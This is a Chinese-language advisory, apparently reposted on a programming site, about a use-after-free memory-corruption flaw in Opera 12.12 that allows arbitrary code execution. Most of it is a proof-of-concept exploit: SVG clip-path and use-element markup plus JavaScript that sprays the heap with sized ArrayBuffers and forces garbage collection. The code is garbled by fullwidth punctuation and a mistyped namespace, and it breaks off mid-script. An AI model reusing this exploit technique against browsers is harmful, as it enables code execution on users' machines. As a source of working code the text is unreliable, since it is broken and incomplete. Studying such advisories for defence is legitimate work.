发布日期：2013-02-05 更新日期：2013-02-28受影响系统： Opera Software Opera Web Browser 描述： -------------------------------------------------------------------------------- BUGTRAQ ID: 57756Opera为来自挪威的一个浏览器，具有速度快、节省系统资源、订制能力强、安全性高以及体积小等特点，目前已经是最受欢迎的浏览器之一。Opera Web Browser 12.12及其他版本在实现上存在远程内存破坏漏洞，攻击者可利用此漏洞在受影响应用中执行任意代码。<*来源：Cons0ul *>测试方法： --------------------------------------------------------------------------------警 告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w0.org/1999/xlink"> <g id="group"> <defs> <clipPath id="clip-circle" clip-path="url（#clip-rect）"> </clipPath> <clipPath id="clip-rect"> </clipPath> </defs> <circle id="rect" x="10" y="10" width="100" height="100" fill="green" /> </g> <script><！[CDATA[//Author=Cons0ulvar b = new Array（）;// this is our spray function where spray is allocated on LFH with exact size 0x78 // so 0x78 size of block is created so far we are creating 0x50000 blocks // to create 0x78 blocks we are using ArrayBuffer（）;function feng_shui（）{for（i=0;i<1000;i++）window.opera.collect（）; // <----- garbage collection for（i=0;i<0x50000;i++）{ payload = new ArrayBuffer（0x78） // use 0xb0 for 64bit machine payload[0]=0x6c payload[1]=0x03 payload[2]=0xfe payload[3]=0x7f b.push（payload） } } // bug is use after free in handling of （use tag + clippath） witch try to access freed object // document.getElementById（"rect"）.setAttribute（"clip-path","url（#clip-circle）"）; var c = document.createElement（"use"）; c.setAttribute（"xlink:href","rect"）
易网时代-编程资源站